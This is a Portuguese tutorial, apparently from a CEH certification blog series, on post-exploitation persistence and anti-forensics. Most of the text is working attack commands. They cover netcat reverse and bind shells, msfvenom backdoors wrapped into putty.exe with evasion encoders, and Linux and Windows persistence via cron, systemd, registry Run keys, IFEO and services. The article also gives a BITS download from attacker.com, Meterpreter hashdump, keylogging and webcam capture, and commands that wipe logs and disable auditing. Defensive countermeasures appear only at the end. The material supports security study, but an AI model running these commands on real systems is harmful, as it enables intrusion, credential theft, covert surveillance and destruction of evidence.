Manutenção de Acesso e Cobertura de Rastros: Persistência…

Por Que Manter Acesso?

Um atacante gastou horas — talvez semanas — no reconhecimento, enumeração e exploração de um alvo. Conseguiu um shell, escalou privilégios. E aí? Se a máquina reinicia, se o admin descobre a conta criada, se o patch fecha a vulnerabilidade, tudo foi por água abaixo. É por isso que Maintaining Access é a 4ª fase da metodologia CEH.

Os objetivos dessa fase são claros:

• Coleta contínua de dados — exfiltrar informações sensíveis ao longo do tempo, não apenas num único acesso
• Movimento lateral — usar o ponto de apoio atual para alcançar outros sistemas na rede
• Persistência a longo prazo — garantir que o acesso sobreviva a reboots, patches e investigações

Um atacante profissional nunca depende de uma única via de acesso. Backdoors múltiplos, mecanismos de persistência redundantes e canais de comunicação alternativos são o padrão. Redundância é segurança — para o atacante.

Backdoors

Backdoor é qualquer método que permite contornar a autenticação normal de um sistema. O atacante cria um caminho alternativo que só ele conhece.

Tipos de Backdoor

Netcat: o Canivete Suíço do Hacker

Netcat (nc) é provavelmente a ferramenta mais versátil para estabelecer backdoors simples. Não é stealthy, não é sofisticado, mas funciona em praticamente qualquer lugar.

Bind shell (o alvo escuta):

# No alvo (Linux)
nc -lvp 4444 -e /bin/bash

# No Windows
nc.exe -Lp 4444 -e cmd.exe

# No atacante (conecta)
nc 192.168.1.100 4444

Reverse shell (o alvo conecta de volta — geralmente melhor porque atravessa NAT/firewall de saída):

# No atacante (escuta)
nc -lvp 4444

# No alvo (Linux)
nc -e /bin/bash 192.168.1.50 4444

# Alternativas caso -e não esteja disponível:
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.50 4444 > /tmp/f

Backdoors em Windows

Windows oferece múltiplos mecanismos para persistência, mas os mais comuns para backdoors simples são:

# Registry Run Key (executa com o usuário)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "UpdateSvc" /t REG_SZ /d "C:\temp\backdoor.exe" /f

# Scheduled Task
schtasks /create /tn "SystemUpdate" /tr "C:\temp\backdoor.exe" /sc onlogon /ru SYSTEM

# Criar serviço (persiste entre reboots, roda como SYSTEM)
sc create "SvcHost" binPath= "C:\temp\backdoor.exe" start= auto
sc start SvcHost

Trojans e Backdoor Wrapping

Um trojan é um programa que aparenta ser legítimo mas contém funcionalidade maliciosa oculta. O wrapping é o processo de encapsular um payload malicioso dentro de um executável legítimo.

Gerando Payloads com msfvenom

O msfvenom (Metasploit Framework) é a ferramenta padrão para gerar payloads. Combina o antigo msfpayload e msfencode numa ferramenta só.

# Payload Windows — reverse TCP com Meterpreter
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o backdoor.exe

# Payload Linux — reverse TCP
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o backdoor.elf

# Payload Windows — encoder shikata_ga_nai (3 iterações)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 \
  -e x86/shikata_ga_nai -i 3 -f exe -o backdoor_encoded.exe

# Embedar payload dentro de executável legítimo (-x)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 \
  -x /usr/share/windows-binaries/putty.exe -f exe -o putty_backdoor.exe

# Payload em formato PowerShell (útil para living-off-the-land)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f psh-reflection -o shell.ps1

Flags principais do msfvenom:

Configurando o Listener

# No Metasploit (msfconsole)
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set LPORT 4444
set ExitOnSession false
run -j

# O parâmetro -j roda o listener em background
# ExitOnSession false mantém o listener ativo após receber uma conexão

Ferramentas de Wrapping e Evasão

• Veil — framework focado em evasão de AV; gera payloads com vários métodos de criptografia
• Hyperion — crypter que criptografa executáveis PE
• Nim (linguagem) — compilar payloads em Nim tem baixa taxa de detecção
• Golang + Donut — shellcode loaders compilados em Go são difíceis de detectar
• AMSI bypass — técnicas para desabilitar Anti-Malware Scan Interface no Windows antes de executar payloads

Rootkits

Rootkit é o nível mais profundo de comprometimento. Um rootkit modifica o sistema operacional para esconder a presença do atacante — processos, arquivos, conexões de rede, tudo some.

Tipos de Rootkit

Como Funcionam

Os mecanismos clássicos de um rootkit incluem:

• Hooking — intercepta chamadas do sistema (syscalls) para filtrar resultados. Quando o admin lista processos com ps, o rootkit remove os processos maliciosos da listagem
• DKOM (Direct Kernel Object Manipulation) — manipula diretamente as estruturas de dados do kernel para esconder processos, threads e drivers
• SSDT (System Service Dispatch Table) modification — altera a tabela que mapeia syscalls para suas funções, redirecionando chamadas para código do atacante
• IDA/IAT hooking — em user-mode, intercepta funções importadas dos executáveis

Detecção de Rootkits

# chkrootkit — scanner clássico
sudo chkrootkit

# rkhunter — mais abrangente
sudo rkhunter --check --skip-keypress

# Rootkit Hunter — verificação manual
sudo rkhunter -c --enable all

# Verificar módulos suspeitos no kernel
lsmod | grep -v "^Module"
ls /lib/modules/$(uname -r)/kernel/ | sort

# Comparar hashes de binários críticos
rpm -Va    # Red Hat/CentOS
debsums -c # Debian/Ubuntu

Técnicas de Persistência em Linux

Linux oferece dezenas de mecanismos para manter acesso. Um atacante profissional usa vários simultaneamente.

# 1. Crontab — execução agendada
crontab -e
@reboot /tmp/backdoor.sh
*/5 * * * * /tmp/phone_home.sh

# 2. Systemd service — mais robusto, sobrevive reboots
cat > /etc/systemd/system/update.service <<EOF
[Unit]
Description=System Update Service
After=network.target

[Service]
ExecStart=/usr/local/bin/update.bin
Restart=always
RestartSec=60

[Install]
WantedBy=multi-user.target
EOF
systemctl daemon-reload
systemctl enable update.service
systemctl start update.service

# 3. Init.d script
cat > /etc/init.d/backdoor <<EOF
#!/bin/bash
/usr/local/bin/update.bin
EOF
chmod +x /etc/init.d/backdoor
update-rc.d backdoor defaults

# 4. SSH authorized_keys — acesso via chave
echo "ssh-rsa AAAAB3NzaC1yc2E... attacker@kali" >> ~/.ssh/authorized_keys

# 5. .bashrc / .bash_profile — executa quando o usuário faz login
echo 'nohup /tmp/update.bin &' >> ~/.bashrc

# 6. LD_PRELOAD — intercepta chamadas de biblioteca
cat > /etc/ld.so.preload <<EOF
/tmp/evil.so
EOF

# 7. Dotfiles ocultos
touch /home/user/.hidden_service
# Comando oculto em PATH
cp /tmp/backdoor /home/user/.local/bin/.update && export PATH=$PATH:/home/user/.local/bin

# 8. /etc/rc.local
echo '/tmp/backdoor.sh' >> /etc/rc.local
chmod +x /etc/rc.local

Técnicas de Persistência em Windows

Windows é um playground de persistência. A quantidade de mecanismos nativos é absurdamente grande.

# 1. Registry Run Keys (executa com logon do usuário)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "JavaUpdate" /t REG_SZ /d "C:\temp\update.exe" /f
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SysUpdate" /t REG_SZ /d "C:\temp\svc.exe" /f

# Registry RunOnce (executa uma única vez)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "FirstRun" /t REG_SZ /d "C:\temp\setup.exe" /f

# 2. Scheduled Tasks
schtasks /create /tn "SystemMaintenance" /tr "C:\temp\update.exe" /sc minute /mo 30 /ru SYSTEM /f

# 3. Startup folder
copy backdoor.exe "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\updater.exe"

# 4. WMI Event Subscription (stealthy, difícil de detectar)
# Requer PowerShell ou wbemtest
# Cria event consumer que executa comando quando evento específico ocorre

# 5. PowerShell Profile
echo "Start-Process -FilePath 'C:\temp\backdoor.exe' -WindowStyle Hidden" >> $PROFILE

# 6. DLL Search Order Hijacking
# Coloca DLL maliciosa em diretório que o aplicativo procura antes do System32

# 7. Service creation
sc create "PerfHost" binPath= "C:\temp\backdoor.exe" type= own start= auto DisplayName= "Performance Host"
sc description PerfHost "Provides performance monitoring services"
sc start PerfHost

# 8. Registry Image File Execution Options (IFEO)
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v Debugger /t REG_SZ /d "C:\temp\backdoor.exe" /f
# Agora toda vez que alguém abrir o notepad, seu backdoor executa

# 9. BITS Jobs (Background Intelligent Transfer Service)
bitsadmin /create /download /displayName "WindowsUpdate" http://attacker.com/payload.exe C:\temp\payload.exe
bitsadmin /resume "WindowsUpdate"

Comparação: Linux vs Windows

Meterpreter: o Payload Suíço

Meterpreter é o payload mais poderoso do Metasploit. Roda em memória (não toca disco), oferece encriptação TLS por padrão, e vem carregado de funcionalidades.

Comandos Essenciais

# Informações do sistema
sysinfo              # Versão do SO, arquitetura, hostname
getuid               # Usuário atual
getpid               # PID do processo do Meterpreter
ps                   # Lista processos

# Escalação de privilégios
getsystem            # Tenta várias técnicas para obter SYSTEM/root
# Opções específicas:
getsystem -t 1       # Named pipe impersonation
getsystem -t 2       # Named pipe impersonation + token duplication

# Credenciais
hashdump             # Dump de hashes SAM (requer SYSTEM)
load kiwi            # Carrega mimikatz via Meterpreter
creds_all            # Lista todas as credenciais em memória
creds_msv            # NTLM hashes
creds_wdigest        # credenciais em texto claro (se disponível)

# Coleta de informações
screenshot           # Captura da tela
webcam_snap          # Foto da webcam
webcam_stream        # Stream de vídeo
keyscan_start        # Inicia keylogger
keyscan_dump         # Mostra teclas capturadas
keyscan_stop         # Para keylogger

# Sistema de arquivos
upload /local/file   C:\\temp\\destino
download C:\\temp\\file /local/destino
cat C:\\temp\\file
ls C:\\temp\\
cd C:\\temp\\

# Networking / Pivot
portfwd add -l 8080 -p 80 -r 192.168.2.10
# Encaminha porta local 8080 para porta 80 na máquina 192.168.2.10 via a sessão comprometida

route add 192.168.2.0 255.255.255.0 1
# Adiciona rota via sessão 1 para alcançar rede interna

# Migração de processo
migrate [PID]        # Move o Meterpreter para outro processo (ex: explorer.exe)
# Útil para persistir quando o processo original morre ou para elevar contexto de segurança

# Executar comandos
shell                # Drop para um shell nativo
execute -f cmd.exe   # Executa programa sem interatividade
run post/multi/manage/shell_to_meterpreter  # Converte shell em meterpreter

# Persistência
run persistence -U -i 10 -p 4444 -r 192.168.1.50
# -U = auto-start com usuário, -i = intervalo (seg), -p = porta, -r = IP

# Encerramento
exit                 # Encerra sessão (não mata o payload se foi migrado)

Cobertura de Rastros

Depois de tudo feito — exploração, persistência, coleta de dados — o atacante precisa apagar as pegadas. Essa é a fase de antiforensia.

Limpeza de Logs — Linux

# Limpar logs de autenticação
echo "" > /var/log/auth.log
echo "" > /var/log/secure    # CentOS/RHEL

# Limpar logs do sistema
cat /dev/null > /var/log/syslog
cat /dev/null > /var/log/messages
rm -rf /var/log/wtmp
rm -rf /var/log/btmp
rm -rf /var/log/lastlog
history -c
rm -f ~/.bash_history

# Histórico do shell
unset HISTFILE
export HISTFILESIZE=0
kill -9 $$

# Manipulação de timestamps
touch -r /etc/passwd /tmp/backdoor.sh
# Copia o timestamp do passwd para o backdoor — parece um arquivo legítimo

Limpeza de Logs — Windows

# Event Viewer — manual
# Executar → eventvwr.msc → Limpar logs de Security, System, Application

# Meterpreter
clearev          # Limpa todos os event logs do Windows

# Command line
wevtutil cl Security
wevtutil cl System
wevtutil cl Application
wevtutil cl "Windows PowerShell"

# Desabilitar auditoria (requer privilégios)
auditpol /set /subcategory:"Logon" /success:disable /failure:disable
auditpol /set /subcategory:"Object Access" /success:disable /failure:disable

Steganography: Escondendo Dados em Imagens

Esteganografia esconde dados dentro de arquivos aparentemente inocentes — imagens, áudio, vídeo. Não é criptografia (não esconde a existência da comunicação, só o conteúdo).

# steghide — esconder arquivo dentro de imagem
steghide embed -cf foto.jpg -ef dados_secretos.txt -p "senha_secreta"

# Extrair dados da imagem
steghide extract -sf foto.jpg -p "senha_secreta"

# outguess — alternativa com suporte a JPEG
outguess -k "chave" -d dados_secretos.txt foto_original.jpg foto_com_dados.jpg

# Steghide também funciona com BMP, WAV, AU
steghide embed -cf cover.bmp -ef payload.exe

Hands-On: Backdoor Completo com Metasploit

Vamos montar um cenário completo: gerar payload, configurar listener, obter Meterpreter, escalar privilégios, coletar dados e documentar tudo.

Passo 1 — Gerar o payload:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o update_service.exe -e x64/xor_dynamic -i 5

Passo 2 — Configurar o listener:

msfconsole -q
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
set ExitOnSession false
run -j

Passo 3 — Entregar o payload (simulação):

# Via share SMB, phishing, ou exploração remota
# Neste cenário, o alvo executa update_service.exe
# Quando executar, o Meterpreter se conecta ao listener

Passo 4 — Pós-exploração:

# Assim que a sessão abre:
sessions -i 1                    # Seleciona a sessão

# Enumeração rápida
sysinfo
getuid
hostname
ipconfig

# Estabilizar a sessão
# Se o shell cai, use:
use post/multi/manage/shell_to_meterpreter
set SESSION 1
run

# Escalar privilégios
getsystem
# Se getsystem falhar, tentar módulos locais:
use exploit/windows/local/bypassuac_eventvwr
set SESSION 1
run
getsystem  # Tenta de novo após bypass UAC

# Coletar credenciais
hashdump
load kiwi
creds_all

# Coletar informações
screenshot
keyscan_start
# ... aguardar algum tempo ...
keyscan_dump
keyscan_stop

# Enumerar rede interna
run post/windows/gather/arp_scanner RHOSTS=192.168.2.0/24
portfwd add -l 8080 -p 80 -r 192.168.2.10

# Persistência (DENTRO DO ESCOPO DO PENTEST — documentar, não destruir)
run persistence -U -i 300 -p 4444 -r 192.168.1.50

# Migrar para processo estável
ps
migrate [PID do explorer.exe]

Passo 5 — Documentar (pentest autorizado):

# No seu relatório, registre:
# - Payload gerado e opções usadas
# - Horários de acesso
# - Comandos executados
# - Credenciais obtidas
# - Redes acessíveis
# - Roteiro completo para replicação
# NÃO limpe logs — a equipe de defesa precisa deles

Contra-medidas

Como defesa, a abordagem é defesa em profundidade — múltiplas camadas que complicam cada etapa da persistência e antiforensia.

File Integrity Monitoring

# AIDE (Advanced Intrusion Detection Environment)
sudo apt install aide
sudo aideinit              # Gera baseline
sudo aide --update         # Atualiza baseline
sudo aide --check          # Verifica alterações

# Tripwire
sudo tripwire --init       # Gera baseline
sudo tripwire --check      # Verifica integridade

# Configurar notificação automática no cron
echo "0 6 * * * root /usr/bin/aide --check | mail -s 'AIDE Report' admin@empresa.com" >> /etc/cron.d/aide

Log Forwarding e SIEM

# Rsyslog — forward para servidor central
# /etc/rsyslog.d/01-forward.conf
*.* @@logserver.empresa.com:514

# journald — forward para syslog
# /etc/systemd/journald.conf
ForwardToSyslog=yes

# Um SIEM (Splunk, ELK, Wazuh) centraliza, correlaciona e alerta sobre:
# - Criação de novas scheduled tasks
# - Alterações em registry keys de Run
# - Novos serviços criados
# - Upload de DLLs suspeitas
# - Conexões reversas inusitadas

EDR (Endpoint Detection and Response)

Soluções EDR como CrowdStrike, Carbon Black e SentinelOne monitoram comportamento em tempo real. Detectam técnicas de persistência pela ação, não pelo arquivo:

• Criação de registry keys em Run/RunOnce
• Scheduled tasks criadas por usuários não-admin
• Processos filhos inesperados (cmd.exe spawnado por notepad.exe)
• Injeção de código em processos (VirtualAllocEx + WriteProcessMemory)
• Conexões de rede suspeitas para C2

Application Whitelisting

# AppArmor (Linux)
sudo aa-genprof /usr/bin/executavel   # Gera perfil
sudo aa-enforce /etc/apparmor.d/usr.bin.executavel

# SELinux
# Verificar modo atual
getenforce
# Configurar políticas para bloquear execução de binários não autorizados

# Windows AppLocker / WDAC (Windows Defender Application Control)
# Via GPO: Computer Configuration → Windows Settings → Security Settings → Application Control Policies → AppLocker
# Criar regras para permitir apenas executáveis assinados

Forensics: Quando Tudo Falha

Quando a defesa preventiva falha, a investigação forense entra em cena:

• Disk imaging — dd if=/dev/sda of=evidence.img bs=4M conv=noerror,sync — imagem bit-a-bit para preservação de evidência
• Memory forensics (Volatility) — dump de RAM preserva processos, conexões de rede, credenciais em memória que não existem em disco

  volatility -f memory.dmp imageinfo
  volatility -f memory.dmp --profile=Win10x64 pslist
  volatility -f memory.dmp --profile=Win10x64 netscan
  volatility -f memory.dmp --profile=Win10x64 hashdump
  

• Timeline analysis — construir timeline de eventos (criação de arquivos, modificações de registro, conexões) para entender a chronologia do ataque
• Log analysis — mesmo que o atacante tente limpar, backups de log, SIEM com retenção, e logs de rede (NetFlow, PCAP) podem reconstruir o que aconteceu

Próximo Artigo

No Artigo 16 da série CEH v13 Zero to Hero, vamos entrar no mundo do Sniffing e Man-in-the-Middle (MITM) — como interceptar tráfego de rede, capturar credenciais em texto claro, técnicas de ARP spoofing, DNS spoofing, SSL stripping, e como ferramentas como Wireshark, tcpdump, Ettercap e Bettercap operam. A rede é o campo de batalha invisível — e no próximo artigo, vamos ver tudo que passa por ela.